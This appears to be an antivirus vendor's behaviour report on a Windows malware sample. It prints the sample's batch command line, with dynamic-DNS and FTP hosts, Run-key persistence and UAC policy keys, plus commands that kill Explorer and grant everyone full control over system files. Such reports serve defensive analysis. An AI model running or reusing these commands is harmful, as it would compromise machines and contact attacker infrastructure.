Technical Information
Malicious functions:
Creates and executes the following:
- <SYSTEM32>\dllcache\services.exe /c set stpw=,Media Network Sharing&set muder=Network Media Update.exe&set spdir1=%windir%\repair\config&set spdir2=%windir%\nview\config&set virm1=<DRIVERS>\vmx_svga.sys&set virm2=<SYSTEM32>\vmx_mode.dll&set r01=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce&set rgn01=Network Sharing Media&set expt=%programfiles%\Windows Media Player\Network Sharing\Network Media Update.exe&set fr=<SYSTEM32>\wbem\svchost.exe&set tmppq=%userprofile%\Local Settings&set tmppp=%userprofile%\Local Settings\Temporary Internet Files&set twtw1=%myfiles%\t85k1.ds&set twtw2=%myfiles%\t85k2.ds&set twtw3=%myfiles%\t85k3.ds&set noip=upfuplups999.zapto.org&set ulul=uuppp.at.2288.org&set wishul=http://www.33##.org&set fttp=10651.ggii.net&set ftpac=fls7588&set ftppw=&set ftpg1=up/haha1.wma&set ftpg2=up/haha2.wma&set ftpe=<SYSTEM32>\ftp.exe&set uppw=not even death can save you from me&set expt2=%programfiles%\Outlook Express\Common\msimn.exe&set rg_2=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&set rva_2=Outlook Express&set pwst2=Outlook Express&set fuck=echo&set shit=del /f /q&set r7g1=HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System&set r7g2=HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System&set u7ac=<SYSTEM32>\UserAccountControlSettings.exe&set fls_size=50000&set ca_ls=cacls&set ca_lsx=/p everyone:f&set s_y23=system32&set rg_ad=reg add&set ns_ww=netsh firewall add allowedprogram&set co_bb=copy /b&set fddsr=findstr&set google=www.go###e.com&set dr_ad=dir /a:d&set tk_onf=takeown /f&call "%myfiles%\ac658.bat"
- <LS_APPDATA>\UserAccountControlSetting.exe .exe ""
Executes the following:
- <SYSTEM32>\findstr.exe "6.1"
- <SYSTEM32>\taskkill.exe /f /im "explorer.exe"
- <SYSTEM32>\taskkill.exe /f /im "hh.exe"
- <SYSTEM32>\cacls.exe "%WINDIR%\explorer.exe" /p everyone:f
- <SYSTEM32>\cacls.exe "%HOMEPATH%\Local Settings\Temporary Internet Files" /p everyone:f
- <SYSTEM32>\cacls.exe "%HOMEPATH%\Local Settings" /p everyone:f
- <SYSTEM32>\taskkill.exe /f /im "<Virus name>.exe"
- <SYSTEM32>\findstr.exe "\.exe"
- <SYSTEM32>\taskkill.exe /f /im "UserAccountControlSetting.exe"
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\Explorer.EXE
Modifies file system :
Creates the following files:
- <LS_APPDATA>\UserAccountControlSetting.exe
- %TEMP%\2748SGG9.bat
- <SYSTEM32>\dllcache\services.exe
- <LS_APPDATA>\t85k3.ds
- <LS_APPDATA>\ac658.bat
- <LS_APPDATA>\t85k1.ds
- <LS_APPDATA>\t85k2.ds
Sets the 'hidden' attribute to the following files:
- %TEMP%\2748SGG9.bat
Deletes the following files:
- %HOMEPATH%\Local Settings\Temporary Internet Files\6881610.21796986mn.gif
- <LS_APPDATA>\UserAccountControlSetting.exe
Moves the following system files:
- from %WINDIR%\explorer.exe to %WINDIR%\6321
Miscellaneous:
Searches for the following windows:
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: '' WindowName: ''
